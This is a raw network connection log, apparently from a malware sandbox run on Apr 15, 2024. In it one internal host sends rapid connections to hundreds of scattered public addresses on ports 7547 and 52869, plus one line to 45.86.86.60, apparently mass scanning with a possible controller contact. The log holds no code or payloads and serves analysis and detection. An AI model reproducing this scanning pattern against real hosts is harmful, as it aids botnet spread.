Apr 15, 2024 08:51:54.230531931 CEST	6126	7547	192.168.2.13	185.63.214.245
Apr 15, 2024 08:51:54.230531931 CEST	3310	52869	192.168.2.13	158.110.246.9
Apr 15, 2024 08:51:54.230534077 CEST	3310	52869	192.168.2.13	196.244.198.15
Apr 15, 2024 08:51:54.230557919 CEST	6126	7547	192.168.2.13	164.19.40.182
Apr 15, 2024 08:51:54.230557919 CEST	3310	52869	192.168.2.13	177.232.219.215
Apr 15, 2024 08:51:54.230557919 CEST	3310	52869	192.168.2.13	129.66.85.241
Apr 15, 2024 08:51:54.230560064 CEST	6126	7547	192.168.2.13	121.145.51.127
Apr 15, 2024 08:51:54.230560064 CEST	6126	7547	192.168.2.13	41.33.161.22
Apr 15, 2024 08:51:54.230561972 CEST	3310	52869	192.168.2.13	47.239.141.55
Apr 15, 2024 08:51:54.230561972 CEST	3310	52869	192.168.2.13	167.83.242.6
Apr 15, 2024 08:51:54.230562925 CEST	3310	52869	192.168.2.13	108.31.161.246
Apr 15, 2024 08:51:54.230561972 CEST	6126	7547	192.168.2.13	59.188.145.50
Apr 15, 2024 08:51:54.230562925 CEST	3310	52869	192.168.2.13	18.215.219.187
Apr 15, 2024 08:51:54.230562925 CEST	6126	7547	192.168.2.13	57.213.78.156
Apr 15, 2024 08:51:54.230566978 CEST	6126	7547	192.168.2.13	72.204.30.116
Apr 15, 2024 08:51:54.230566978 CEST	6126	7547	192.168.2.13	209.228.94.195
Apr 15, 2024 08:51:54.230566978 CEST	3310	52869	192.168.2.13	138.162.218.146
Apr 15, 2024 08:51:54.230566978 CEST	3310	52869	192.168.2.13	74.149.175.118
Apr 15, 2024 08:51:54.230578899 CEST	3310	52869	192.168.2.13	87.175.76.70
Apr 15, 2024 08:51:54.230578899 CEST	3310	52869	192.168.2.13	51.187.211.39
Apr 15, 2024 08:51:54.230578899 CEST	3310	52869	192.168.2.13	61.237.75.156
Apr 15, 2024 08:51:54.230590105 CEST	3310	52869	192.168.2.13	208.225.118.170
Apr 15, 2024 08:51:54.230590105 CEST	6126	7547	192.168.2.13	46.122.186.34
Apr 15, 2024 08:51:54.230590105 CEST	3310	52869	192.168.2.13	19.98.128.152
Apr 15, 2024 08:51:54.230592012 CEST	3310	52869	192.168.2.13	211.67.212.117
Apr 15, 2024 08:51:54.230590105 CEST	6126	7547	192.168.2.13	9.192.201.243
Apr 15, 2024 08:51:54.230592012 CEST	3310	52869	192.168.2.13	91.197.7.254
Apr 15, 2024 08:51:54.230592012 CEST	6126	7547	192.168.2.13	107.107.137.176
Apr 15, 2024 08:51:54.230595112 CEST	6126	7547	192.168.2.13	97.133.102.138
Apr 15, 2024 08:51:54.230595112 CEST	3310	52869	192.168.2.13	20.174.89.111
Apr 15, 2024 08:51:54.230597019 CEST	6126	7547	192.168.2.13	61.186.210.249
Apr 15, 2024 08:51:54.230597019 CEST	6126	7547	192.168.2.13	220.92.77.200
Apr 15, 2024 08:51:54.230597019 CEST	3310	52869	192.168.2.13	180.171.90.48
Apr 15, 2024 08:51:54.230597019 CEST	6126	7547	192.168.2.13	187.54.72.132
Apr 15, 2024 08:51:54.230595112 CEST	6126	7547	192.168.2.13	86.230.225.246
Apr 15, 2024 08:51:54.230597019 CEST	6126	7547	192.168.2.13	86.254.24.2
Apr 15, 2024 08:51:54.230597019 CEST	3310	52869	192.168.2.13	47.56.159.64
Apr 15, 2024 08:51:54.230597019 CEST	6126	7547	192.168.2.13	210.188.22.37
Apr 15, 2024 08:51:54.230597019 CEST	6126	7547	192.168.2.13	150.151.137.135
Apr 15, 2024 08:51:54.230597019 CEST	3310	52869	192.168.2.13	147.174.175.106
Apr 15, 2024 08:51:54.230597019 CEST	6126	7547	192.168.2.13	167.241.252.104
Apr 15, 2024 08:51:54.230609894 CEST	3310	52869	192.168.2.13	52.112.83.170
Apr 15, 2024 08:51:54.230609894 CEST	3310	52869	192.168.2.13	187.247.63.3
Apr 15, 2024 08:51:54.230609894 CEST	6126	7547	192.168.2.13	108.139.247.30
Apr 15, 2024 08:51:54.230613947 CEST	6126	7547	192.168.2.13	9.92.202.211
Apr 15, 2024 08:51:54.230613947 CEST	3310	52869	192.168.2.13	80.202.195.251
Apr 15, 2024 08:51:54.230613947 CEST	3310	52869	192.168.2.13	160.38.203.19
Apr 15, 2024 08:51:54.230613947 CEST	6126	7547	192.168.2.13	161.64.128.35
Apr 15, 2024 08:51:54.230613947 CEST	3310	52869	192.168.2.13	166.57.7.133
Apr 15, 2024 08:51:54.230613947 CEST	3310	52869	192.168.2.13	128.159.33.16
Apr 15, 2024 08:51:54.230623960 CEST	6126	7547	192.168.2.13	92.100.120.9
Apr 15, 2024 08:51:54.230623960 CEST	3310	52869	192.168.2.13	204.196.128.124
Apr 15, 2024 08:51:54.230628014 CEST	3310	52869	192.168.2.13	34.104.246.25
Apr 15, 2024 08:51:54.230628014 CEST	6126	7547	192.168.2.13	73.40.42.59
Apr 15, 2024 08:51:54.230631113 CEST	6126	7547	192.168.2.13	135.235.152.36
Apr 15, 2024 08:51:54.230635881 CEST	3310	52869	192.168.2.13	23.214.36.241
Apr 15, 2024 08:51:54.230649948 CEST	6126	7547	192.168.2.13	180.105.158.217
Apr 15, 2024 08:51:54.230648994 CEST	3310	52869	192.168.2.13	112.168.182.194
Apr 15, 2024 08:51:54.230650902 CEST	6126	7547	192.168.2.13	39.71.227.60
Apr 15, 2024 08:51:54.230650902 CEST	3310	52869	192.168.2.13	179.54.34.75
Apr 15, 2024 08:51:54.230650902 CEST	3310	52869	192.168.2.13	86.88.61.148
Apr 15, 2024 08:51:54.230652094 CEST	6126	7547	192.168.2.13	35.30.14.26
Apr 15, 2024 08:51:54.230652094 CEST	6126	7547	192.168.2.13	196.116.238.123
Apr 15, 2024 08:51:54.230659962 CEST	3310	52869	192.168.2.13	40.130.89.10
Apr 15, 2024 08:51:54.230659962 CEST	3310	52869	192.168.2.13	211.221.83.46
Apr 15, 2024 08:51:54.230659962 CEST	6126	7547	192.168.2.13	112.93.149.100
Apr 15, 2024 08:51:54.230659962 CEST	3310	52869	192.168.2.13	174.89.112.38
Apr 15, 2024 08:51:54.230662107 CEST	3310	52869	192.168.2.13	100.150.213.13
Apr 15, 2024 08:51:54.230660915 CEST	6126	7547	192.168.2.13	194.122.91.104
Apr 15, 2024 08:51:54.230662107 CEST	3310	52869	192.168.2.13	52.223.122.252
Apr 15, 2024 08:51:54.230660915 CEST	3310	52869	192.168.2.13	41.245.87.255
Apr 15, 2024 08:51:54.230662107 CEST	3310	52869	192.168.2.13	164.140.109.149
Apr 15, 2024 08:51:54.230664015 CEST	3310	52869	192.168.2.13	84.223.241.99
Apr 15, 2024 08:51:54.230662107 CEST	6126	7547	192.168.2.13	168.191.201.37
Apr 15, 2024 08:51:54.230660915 CEST	3310	52869	192.168.2.13	129.186.11.78
Apr 15, 2024 08:51:54.230662107 CEST	3310	52869	192.168.2.13	60.94.94.214
Apr 15, 2024 08:51:54.230664015 CEST	3310	52869	192.168.2.13	92.98.178.224
Apr 15, 2024 08:51:54.230660915 CEST	3310	52869	192.168.2.13	140.121.233.59
Apr 15, 2024 08:51:54.230662107 CEST	6126	7547	192.168.2.13	175.199.163.128
Apr 15, 2024 08:51:54.230660915 CEST	3310	52869	192.168.2.13	60.67.229.148
Apr 15, 2024 08:51:54.230664968 CEST	3310	52869	192.168.2.13	94.189.18.70
Apr 15, 2024 08:51:54.230660915 CEST	3310	52869	192.168.2.13	134.247.101.151
Apr 15, 2024 08:51:54.230664968 CEST	6126	7547	192.168.2.13	182.175.10.144
Apr 15, 2024 08:51:54.230660915 CEST	3310	52869	192.168.2.13	208.3.78.34
Apr 15, 2024 08:51:54.230671883 CEST	3310	52869	192.168.2.13	80.174.20.202
Apr 15, 2024 08:51:54.230671883 CEST	3310	52869	192.168.2.13	201.48.224.180
Apr 15, 2024 08:51:54.230671883 CEST	6126	7547	192.168.2.13	111.235.73.133
Apr 15, 2024 08:51:54.230671883 CEST	3310	52869	192.168.2.13	165.98.212.211
Apr 15, 2024 08:51:54.230671883 CEST	6126	7547	192.168.2.13	54.8.67.96
Apr 15, 2024 08:51:54.230671883 CEST	3310	52869	192.168.2.13	14.242.23.88
Apr 15, 2024 08:51:54.230671883 CEST	6126	7547	192.168.2.13	148.221.79.214
Apr 15, 2024 08:51:54.230671883 CEST	3310	52869	192.168.2.13	151.65.90.229
Apr 15, 2024 08:51:54.230684042 CEST	3310	52869	192.168.2.13	206.254.168.94
Apr 15, 2024 08:51:54.230684042 CEST	6126	7547	192.168.2.13	190.182.148.228
Apr 15, 2024 08:51:54.230684996 CEST	3310	52869	192.168.2.13	88.217.171.180
Apr 15, 2024 08:51:54.230694056 CEST	6126	7547	192.168.2.13	47.95.131.141
Apr 15, 2024 08:51:54.230695009 CEST	6126	7547	192.168.2.13	132.83.34.136
Apr 15, 2024 08:51:54.230695009 CEST	6126	7547	192.168.2.13	70.167.47.88
Apr 15, 2024 08:51:54.230719090 CEST	3310	52869	192.168.2.13	220.36.130.46
Apr 15, 2024 08:51:54.230719090 CEST	3310	52869	192.168.2.13	172.178.35.236
Apr 15, 2024 08:51:54.230719090 CEST	3310	52869	192.168.2.13	40.229.116.237
Apr 15, 2024 08:51:54.230719090 CEST	3310	52869	192.168.2.13	141.79.240.218
Apr 15, 2024 08:51:54.230721951 CEST	3310	52869	192.168.2.13	120.82.47.202
Apr 15, 2024 08:51:54.230721951 CEST	6126	7547	192.168.2.13	159.12.213.34
Apr 15, 2024 08:51:54.230721951 CEST	6126	7547	192.168.2.13	20.240.242.32
Apr 15, 2024 08:51:54.230721951 CEST	6126	7547	192.168.2.13	87.10.176.91
Apr 15, 2024 08:51:54.230724096 CEST	3310	52869	192.168.2.13	45.61.195.138
Apr 15, 2024 08:51:54.230724096 CEST	3310	52869	192.168.2.13	103.255.147.211
Apr 15, 2024 08:51:54.230724096 CEST	6126	7547	192.168.2.13	177.48.77.218
Apr 15, 2024 08:51:54.230724096 CEST	6126	7547	192.168.2.13	18.80.69.91
Apr 15, 2024 08:51:54.230732918 CEST	3310	52869	192.168.2.13	205.90.181.1
Apr 15, 2024 08:51:54.230732918 CEST	6126	7547	192.168.2.13	205.12.43.163
Apr 15, 2024 08:51:54.230736017 CEST	3310	52869	192.168.2.13	179.61.243.217
Apr 15, 2024 08:51:54.230736017 CEST	6126	7547	192.168.2.13	102.200.90.44
Apr 15, 2024 08:51:54.230736017 CEST	3310	52869	192.168.2.13	213.19.164.58
Apr 15, 2024 08:51:54.230755091 CEST	3310	52869	192.168.2.13	41.180.56.22
Apr 15, 2024 08:51:54.230755091 CEST	3310	52869	192.168.2.13	134.109.2.184
Apr 15, 2024 08:51:54.230755091 CEST	3310	52869	192.168.2.13	74.154.247.172
Apr 15, 2024 08:51:54.230755091 CEST	3310	52869	192.168.2.13	129.2.216.83
Apr 15, 2024 08:51:54.230755091 CEST	3310	52869	192.168.2.13	98.34.103.7
Apr 15, 2024 08:51:54.230755091 CEST	3310	52869	192.168.2.13	69.10.209.35
Apr 15, 2024 08:51:54.230760098 CEST	3310	52869	192.168.2.13	13.34.107.41
Apr 15, 2024 08:51:54.230760098 CEST	3310	52869	192.168.2.13	202.249.237.185
Apr 15, 2024 08:51:54.230760098 CEST	6126	7547	192.168.2.13	122.66.84.210
Apr 15, 2024 08:51:54.230760098 CEST	3310	52869	192.168.2.13	129.15.220.82
Apr 15, 2024 08:51:54.230760098 CEST	6126	7547	192.168.2.13	186.219.24.255
Apr 15, 2024 08:51:54.230773926 CEST	6126	7547	192.168.2.13	102.74.30.174
Apr 15, 2024 08:51:54.230782986 CEST	6126	7547	192.168.2.13	223.202.67.162
Apr 15, 2024 08:51:54.230787039 CEST	6126	7547	192.168.2.13	72.212.249.195
Apr 15, 2024 08:51:54.230794907 CEST	6126	7547	192.168.2.13	140.232.33.91
Apr 15, 2024 08:51:54.230811119 CEST	6126	7547	192.168.2.13	23.151.222.33
Apr 15, 2024 08:51:54.230812073 CEST	6126	7547	192.168.2.13	162.67.158.224
Apr 15, 2024 08:51:54.230812073 CEST	6126	7547	192.168.2.13	88.75.143.148
Apr 15, 2024 08:51:54.230813026 CEST	6126	7547	192.168.2.13	113.255.102.110
Apr 15, 2024 08:51:54.230813026 CEST	6126	7547	192.168.2.13	150.220.189.42
Apr 15, 2024 08:51:54.230815887 CEST	6126	7547	192.168.2.13	122.115.2.33
Apr 15, 2024 08:51:54.230823040 CEST	3310	52869	192.168.2.13	189.220.183.152
Apr 15, 2024 08:51:54.230823040 CEST	6126	7547	192.168.2.13	182.254.197.123
Apr 15, 2024 08:51:54.230823040 CEST	3310	52869	192.168.2.13	99.11.200.61
Apr 15, 2024 08:51:54.230823040 CEST	6126	7547	192.168.2.13	194.145.244.227
Apr 15, 2024 08:51:54.230823040 CEST	6126	7547	192.168.2.13	105.141.15.157
Apr 15, 2024 08:51:54.230823040 CEST	6126	7547	192.168.2.13	185.145.1.83
Apr 15, 2024 08:51:54.230823040 CEST	6126	7547	192.168.2.13	121.141.148.63
Apr 15, 2024 08:51:54.230830908 CEST	6126	7547	192.168.2.13	208.15.194.11
Apr 15, 2024 08:51:54.230842113 CEST	6126	7547	192.168.2.13	105.34.38.38
Apr 15, 2024 08:51:54.230854034 CEST	6126	7547	192.168.2.13	160.137.115.100
Apr 15, 2024 08:51:54.230859995 CEST	6126	7547	192.168.2.13	203.99.99.0
Apr 15, 2024 08:51:54.230859995 CEST	6126	7547	192.168.2.13	49.174.76.11
Apr 15, 2024 08:51:54.230864048 CEST	6126	7547	192.168.2.13	212.58.209.230
Apr 15, 2024 08:51:54.230864048 CEST	6126	7547	192.168.2.13	83.157.86.94
Apr 15, 2024 08:51:54.230890989 CEST	3310	52869	192.168.2.13	95.4.96.188
Apr 15, 2024 08:51:54.230892897 CEST	6126	7547	192.168.2.13	161.80.211.119
Apr 15, 2024 08:51:54.230897903 CEST	6126	7547	192.168.2.13	144.77.158.129
Apr 15, 2024 08:51:54.230897903 CEST	3310	52869	192.168.2.13	117.156.94.73
Apr 15, 2024 08:51:54.230905056 CEST	3310	52869	192.168.2.13	51.174.206.180
Apr 15, 2024 08:51:54.230905056 CEST	3310	52869	192.168.2.13	66.168.60.147
Apr 15, 2024 08:51:54.230912924 CEST	3310	52869	192.168.2.13	181.96.179.86
Apr 15, 2024 08:51:54.230923891 CEST	3310	52869	192.168.2.13	210.255.169.102
Apr 15, 2024 08:51:54.230923891 CEST	3310	52869	192.168.2.13	195.174.58.185
Apr 15, 2024 08:51:54.230923891 CEST	3310	52869	192.168.2.13	206.16.173.17
Apr 15, 2024 08:51:54.230926037 CEST	6126	7547	192.168.2.13	94.153.47.170
Apr 15, 2024 08:51:54.230926037 CEST	3310	52869	192.168.2.13	182.236.171.99
Apr 15, 2024 08:51:54.230931997 CEST	3310	52869	192.168.2.13	118.45.118.218
Apr 15, 2024 08:51:54.230931997 CEST	3310	52869	192.168.2.13	144.210.173.95
Apr 15, 2024 08:51:54.230937958 CEST	6126	7547	192.168.2.13	24.66.190.186
Apr 15, 2024 08:51:54.230940104 CEST	3310	52869	192.168.2.13	183.6.239.180
Apr 15, 2024 08:51:54.230942011 CEST	3310	52869	192.168.2.13	186.59.71.7
Apr 15, 2024 08:51:54.230942011 CEST	6126	7547	192.168.2.13	148.43.230.198
Apr 15, 2024 08:51:54.230942011 CEST	6126	7547	192.168.2.13	208.10.254.151
Apr 15, 2024 08:51:54.230945110 CEST	6126	7547	192.168.2.13	71.252.222.226
Apr 15, 2024 08:51:54.230945110 CEST	6126	7547	192.168.2.13	175.201.25.59
Apr 15, 2024 08:51:54.230946064 CEST	6126	7547	192.168.2.13	24.139.68.97
Apr 15, 2024 08:51:54.230948925 CEST	3310	52869	192.168.2.13	59.171.28.223
Apr 15, 2024 08:51:54.230957031 CEST	6126	7547	192.168.2.13	97.148.140.255
Apr 15, 2024 08:51:54.230957031 CEST	6126	7547	192.168.2.13	107.239.11.38
Apr 15, 2024 08:51:54.230957985 CEST	6126	7547	192.168.2.13	39.64.241.24
Apr 15, 2024 08:51:54.230962038 CEST	3310	52869	192.168.2.13	197.173.119.176
Apr 15, 2024 08:51:54.230962038 CEST	6126	7547	192.168.2.13	100.55.217.199
Apr 15, 2024 08:51:54.230963945 CEST	6126	7547	192.168.2.13	35.59.96.109
Apr 15, 2024 08:51:54.230963945 CEST	6126	7547	192.168.2.13	113.12.213.100
Apr 15, 2024 08:51:54.230963945 CEST	6126	7547	192.168.2.13	74.53.68.38
Apr 15, 2024 08:51:54.230962038 CEST	6126	7547	192.168.2.13	159.60.217.126
Apr 15, 2024 08:51:54.230972052 CEST	6126	7547	192.168.2.13	57.159.18.193
Apr 15, 2024 08:51:54.230973005 CEST	6126	7547	192.168.2.13	147.14.190.163
Apr 15, 2024 08:51:54.230983019 CEST	6126	7547	192.168.2.13	146.42.30.73
Apr 15, 2024 08:51:54.230993986 CEST	6126	7547	192.168.2.13	1.153.104.67
Apr 15, 2024 08:51:54.231010914 CEST	6126	7547	192.168.2.13	32.5.47.108
Apr 15, 2024 08:51:54.231024027 CEST	6126	7547	192.168.2.13	66.73.204.133
Apr 15, 2024 08:51:54.231034994 CEST	6126	7547	192.168.2.13	221.136.246.204
Apr 15, 2024 08:51:54.231041908 CEST	6126	7547	192.168.2.13	64.250.105.37
Apr 15, 2024 08:51:54.231055021 CEST	6126	7547	192.168.2.13	105.120.65.55
Apr 15, 2024 08:51:54.231055021 CEST	6126	7547	192.168.2.13	99.68.196.204
Apr 15, 2024 08:51:54.231055975 CEST	6126	7547	192.168.2.13	159.28.125.251
Apr 15, 2024 08:51:54.231070042 CEST	6126	7547	192.168.2.13	203.110.145.132
Apr 15, 2024 08:51:54.231074095 CEST	6126	7547	192.168.2.13	213.7.252.4
Apr 15, 2024 08:51:54.231074095 CEST	3310	52869	192.168.2.13	151.70.184.254
Apr 15, 2024 08:51:54.231096983 CEST	3310	52869	192.168.2.13	199.103.241.214
Apr 15, 2024 08:51:54.231096983 CEST	6126	7547	192.168.2.13	148.194.126.166
Apr 15, 2024 08:51:54.231105089 CEST	6126	7547	192.168.2.13	165.197.43.154
Apr 15, 2024 08:51:54.231105089 CEST	3310	52869	192.168.2.13	186.37.56.41
Apr 15, 2024 08:51:54.231108904 CEST	3310	52869	192.168.2.13	70.20.37.210
Apr 15, 2024 08:51:54.231112003 CEST	6126	7547	192.168.2.13	38.122.247.163
Apr 15, 2024 08:51:54.231117010 CEST	3310	52869	192.168.2.13	157.5.190.245
Apr 15, 2024 08:51:54.231122971 CEST	3310	52869	192.168.2.13	111.11.114.150
Apr 15, 2024 08:51:54.231122971 CEST	6126	7547	192.168.2.13	207.0.231.202
Apr 15, 2024 08:51:54.231122971 CEST	6126	7547	192.168.2.13	77.195.198.56
Apr 15, 2024 08:51:54.231126070 CEST	3310	52869	192.168.2.13	31.175.12.142
Apr 15, 2024 08:51:54.231132030 CEST	3310	52869	192.168.2.13	109.150.233.137
Apr 15, 2024 08:51:54.231132030 CEST	3310	52869	192.168.2.13	113.141.14.153
Apr 15, 2024 08:51:54.231132984 CEST	6126	7547	192.168.2.13	78.167.181.82
Apr 15, 2024 08:51:54.231142044 CEST	3310	52869	192.168.2.13	119.166.211.13
Apr 15, 2024 08:51:54.231147051 CEST	3310	52869	192.168.2.13	176.76.136.31
Apr 15, 2024 08:51:54.231147051 CEST	3310	52869	192.168.2.13	188.22.87.39
Apr 15, 2024 08:51:54.231147051 CEST	3310	52869	192.168.2.13	66.97.239.62
Apr 15, 2024 08:51:54.231148958 CEST	3310	52869	192.168.2.13	14.172.167.95
Apr 15, 2024 08:51:54.231153965 CEST	6126	7547	192.168.2.13	101.54.35.185
Apr 15, 2024 08:51:54.231153965 CEST	3310	52869	192.168.2.13	220.237.223.139
Apr 15, 2024 08:51:54.231156111 CEST	6126	7547	192.168.2.13	108.108.55.201
Apr 15, 2024 08:51:54.231158972 CEST	3310	52869	192.168.2.13	25.70.78.68
Apr 15, 2024 08:51:54.231161118 CEST	6126	7547	192.168.2.13	91.32.68.234
Apr 15, 2024 08:51:54.231168032 CEST	3310	52869	192.168.2.13	200.137.236.186
Apr 15, 2024 08:51:54.231168985 CEST	3310	52869	192.168.2.13	128.178.150.78
Apr 15, 2024 08:51:54.231175900 CEST	6126	7547	192.168.2.13	42.140.148.126
Apr 15, 2024 08:51:54.231175900 CEST	6126	7547	192.168.2.13	223.42.202.98
Apr 15, 2024 08:51:54.231175900 CEST	3310	52869	192.168.2.13	82.79.199.33
Apr 15, 2024 08:51:54.231178999 CEST	6126	7547	192.168.2.13	118.169.183.102
Apr 15, 2024 08:51:54.231178999 CEST	6126	7547	192.168.2.13	157.165.40.190
Apr 15, 2024 08:51:54.231180906 CEST	3310	52869	192.168.2.13	192.40.234.184
Apr 15, 2024 08:51:54.231180906 CEST	3310	52869	192.168.2.13	18.219.207.76
Apr 15, 2024 08:51:54.231180906 CEST	6126	7547	192.168.2.13	222.173.9.2
Apr 15, 2024 08:51:54.231206894 CEST	3310	52869	192.168.2.13	17.235.110.184
Apr 15, 2024 08:51:54.231206894 CEST	40694	38241	192.168.2.13	45.86.86.60
Apr 15, 2024 08:51:54.231208086 CEST	3310	52869	192.168.2.13	133.90.222.74
Apr 15, 2024 08:51:54.231209993 CEST	3310	52869	192.168.2.13	186.74.47.29
Apr 15, 2024 08:51:54.231209993 CEST	3310	52869	192.168.2.13	90.137.43.170
Apr 15, 2024 08:51:54.231223106 CEST	3310	52869	192.168.2.13	221.93.3.84
Apr 15, 2024 08:51:54.231226921 CEST	3310	52869	192.168.2.13	173.192.139.82
Apr 15, 2024 08:51:54.231226921 CEST	3310	52869	192.168.2.13	120.227.102.31
Apr 15, 2024 08:51:54.231226921 CEST	6126	7547	192.168.2.13	219.77.131.99
Apr 15, 2024 08:51:54.231235027 CEST	6126	7547	192.168.2.13	20.128.210.135
Apr 15, 2024 08:51:54.231240034 CEST	3310	52869	192.168.2.13	179.106.42.218
Apr 15, 2024 08:51:54.231240034 CEST	3310	52869	192.168.2.13	216.136.169.88
Apr 15, 2024 08:51:54.231245041 CEST	3310	52869	192.168.2.13	139.40.216.69
Apr 15, 2024 08:51:54.231252909 CEST	3310	52869	192.168.2.13	133.105.109.219
Apr 15, 2024 08:51:54.231252909 CEST	3310	52869	192.168.2.13	34.224.43.120
Apr 15, 2024 08:51:54.231254101 CEST	6126	7547	192.168.2.13	177.191.58.245
Apr 15, 2024 08:51:54.231254101 CEST	3310	52869	192.168.2.13	171.37.6.96
Apr 15, 2024 08:51:54.231259108 CEST	6126	7547	192.168.2.13	204.105.59.52
Apr 15, 2024 08:51:54.231259108 CEST	6126	7547	192.168.2.13	100.209.12.137
Apr 15, 2024 08:51:54.231259108 CEST	6126	7547	192.168.2.13	187.127.155.177
Apr 15, 2024 08:51:54.231260061 CEST	6126	7547	192.168.2.13	76.17.42.38
Apr 15, 2024 08:51:54.231259108 CEST	6126	7547	192.168.2.13	27.96.170.19
Apr 15, 2024 08:51:54.231271029 CEST	6126	7547	192.168.2.13	1.119.224.205
Apr 15, 2024 08:51:54.231271029 CEST	6126	7547	192.168.2.13	52.139.63.119
Apr 15, 2024 08:51:54.231275082 CEST	6126	7547	192.168.2.13	144.224.68.192
Apr 15, 2024 08:51:54.231275082 CEST	6126	7547	192.168.2.13	48.32.16.197
Apr 15, 2024 08:51:54.231275082 CEST	6126	7547	192.168.2.13	195.167.72.213
Apr 15, 2024 08:51:54.231286049 CEST	6126	7547	192.168.2.13	196.67.165.4
Apr 15, 2024 08:51:54.231297970 CEST	6126	7547	192.168.2.13	116.69.54.148
Apr 15, 2024 08:51:54.231298923 CEST	6126	7547	192.168.2.13	17.73.77.219
Apr 15, 2024 08:51:54.231298923 CEST	6126	7547	192.168.2.13	179.134.53.165
Apr 15, 2024 08:51:54.231306076 CEST	6126	7547	192.168.2.13	63.95.67.130
Apr 15, 2024 08:51:54.231319904 CEST	6126	7547	192.168.2.13	46.5.217.37
Apr 15, 2024 08:51:54.231322050 CEST	6126	7547	192.168.2.13	134.158.130.165
Apr 15, 2024 08:51:54.231338978 CEST	6126	7547	192.168.2.13	181.85.150.29
Apr 15, 2024 08:51:54.231338978 CEST	6126	7547	192.168.2.13	120.240.135.92
Apr 15, 2024 08:51:54.231338978 CEST	6126	7547	192.168.2.13	82.12.17.28
Apr 15, 2024 08:51:54.231364012 CEST	6126	7547	192.168.2.13	59.127.52.147
Apr 15, 2024 08:51:54.231365919 CEST	6126	7547	192.168.2.13	199.19.40.107
Apr 15, 2024 08:51:54.231367111 CEST	6126	7547	192.168.2.13	134.107.71.192
Apr 15, 2024 08:51:54.231369019 CEST	6126	7547	192.168.2.13	86.215.212.201
Apr 15, 2024 08:51:54.231370926 CEST	6126	7547	192.168.2.13	108.98.170.176
Apr 15, 2024 08:51:54.231396914 CEST	6126	7547	192.168.2.13	36.107.143.205
Apr 15, 2024 08:51:54.231396914 CEST	3310	52869	192.168.2.13	51.114.116.177
Apr 15, 2024 08:51:54.231395960 CEST	6126	7547	192.168.2.13	210.0.253.208
Apr 15, 2024 08:51:54.231396914 CEST	3310	52869	192.168.2.13	140.207.16.138
Apr 15, 2024 08:51:54.231395960 CEST	6126	7547	192.168.2.13	98.3.45.98
Apr 15, 2024 08:51:54.231405973 CEST	3310	52869	192.168.2.13	191.213.25.201
Apr 15, 2024 08:51:54.231405973 CEST	3310	52869	192.168.2.13	34.236.38.128
Apr 15, 2024 08:51:54.231409073 CEST	6126	7547	192.168.2.13	190.62.252.95
Apr 15, 2024 08:51:54.231409073 CEST	3310	52869	192.168.2.13	27.159.222.42
Apr 15, 2024 08:51:54.231409073 CEST	3310	52869	192.168.2.13	108.250.99.137
Apr 15, 2024 08:51:54.231416941 CEST	6126	7547	192.168.2.13	57.174.28.219
Apr 15, 2024 08:51:54.231422901 CEST	3310	52869	192.168.2.13	102.201.232.187
Apr 15, 2024 08:51:54.231422901 CEST	6126	7547	192.168.2.13	14.42.218.48
Apr 15, 2024 08:51:54.231426001 CEST	3310	52869	192.168.2.13	155.247.33.32
Apr 15, 2024 08:51:54.231426001 CEST	6126	7547	192.168.2.13	210.191.133.58
Apr 15, 2024 08:51:54.231429100 CEST	6126	7547	192.168.2.13	65.69.174.248
Apr 15, 2024 08:51:54.231429100 CEST	6126	7547	192.168.2.13	25.91.73.22
Apr 15, 2024 08:51:54.231430054 CEST	6126	7547	192.168.2.13	177.205.56.48
Apr 15, 2024 08:51:54.231430054 CEST	3310	52869	192.168.2.13	19.138.108.250
Apr 15, 2024 08:51:54.231430054 CEST	3310	52869	192.168.2.13	207.209.242.24
Apr 15, 2024 08:51:54.231429100 CEST	6126	7547	192.168.2.13	110.30.6.169
Apr 15, 2024 08:51:54.231443882 CEST	6126	7547	192.168.2.13	149.206.129.15
Apr 15, 2024 08:51:54.231443882 CEST	6126	7547	192.168.2.13	180.138.49.202
Apr 15, 2024 08:51:54.231443882 CEST	3310	52869	192.168.2.13	221.167.251.230
Apr 15, 2024 08:51:54.231443882 CEST	3310	52869	192.168.2.13	93.5.200.61
Apr 15, 2024 08:51:54.231443882 CEST	6126	7547	192.168.2.13	125.91.141.159
Apr 15, 2024 08:51:54.231443882 CEST	6126	7547	192.168.2.13	98.191.28.32
Apr 15, 2024 08:51:54.231447935 CEST	3310	52869	192.168.2.13	150.94.182.252
Apr 15, 2024 08:51:54.231450081 CEST	3310	52869	192.168.2.13	198.131.244.184
Apr 15, 2024 08:51:54.231450081 CEST	6126	7547	192.168.2.13	128.21.82.198
Apr 15, 2024 08:51:54.231450081 CEST	6126	7547	192.168.2.13	83.189.196.76
Apr 15, 2024 08:51:54.231450081 CEST	3310	52869	192.168.2.13	141.163.57.229
Apr 15, 2024 08:51:54.231455088 CEST	3310	52869	192.168.2.13	69.152.110.53
Apr 15, 2024 08:51:54.231455088 CEST	3310	52869	192.168.2.13	111.226.58.31
Apr 15, 2024 08:51:54.231455088 CEST	6126	7547	192.168.2.13	183.6.212.191
Apr 15, 2024 08:51:54.231466055 CEST	3310	52869	192.168.2.13	189.40.155.57
Apr 15, 2024 08:51:54.231466055 CEST	6126	7547	192.168.2.13	37.163.58.116
Apr 15, 2024 08:51:54.231467009 CEST	6126	7547	192.168.2.13	57.151.13.91
Apr 15, 2024 08:51:54.231478930 CEST	3310	52869	192.168.2.13	73.73.55.188
Apr 15, 2024 08:51:54.231478930 CEST	6126	7547	192.168.2.13	164.23.133.104
Apr 15, 2024 08:51:54.231478930 CEST	6126	7547	192.168.2.13	157.229.15.112
Apr 15, 2024 08:51:54.231483936 CEST	6126	7547	192.168.2.13	61.161.96.138
Apr 15, 2024 08:51:54.231484890 CEST	3310	52869	192.168.2.13	42.162.75.24
Apr 15, 2024 08:51:54.231484890 CEST	3310	52869	192.168.2.13	118.33.231.140
Apr 15, 2024 08:51:54.231484890 CEST	6126	7547	192.168.2.13	162.183.27.62
Apr 15, 2024 08:51:54.231488943 CEST	3310	52869	192.168.2.13	162.219.10.118
Apr 15, 2024 08:51:54.231488943 CEST	3310	52869	192.168.2.13	118.108.58.85
Apr 15, 2024 08:51:54.231488943 CEST	6126	7547	192.168.2.13	50.14.19.200
Apr 15, 2024 08:51:54.231488943 CEST	6126	7547	192.168.2.13	53.253.191.229
Apr 15, 2024 08:51:54.231488943 CEST	6126	7547	192.168.2.13	158.79.229.226
Apr 15, 2024 08:51:54.231498003 CEST	6126	7547	192.168.2.13	92.221.242.113
Apr 15, 2024 08:51:54.231498003 CEST	6126	7547	192.168.2.13	177.237.185.142
Apr 15, 2024 08:51:54.231498003 CEST	6126	7547	192.168.2.13	137.23.249.31
Apr 15, 2024 08:51:54.231498003 CEST	6126	7547	192.168.2.13	96.149.111.41
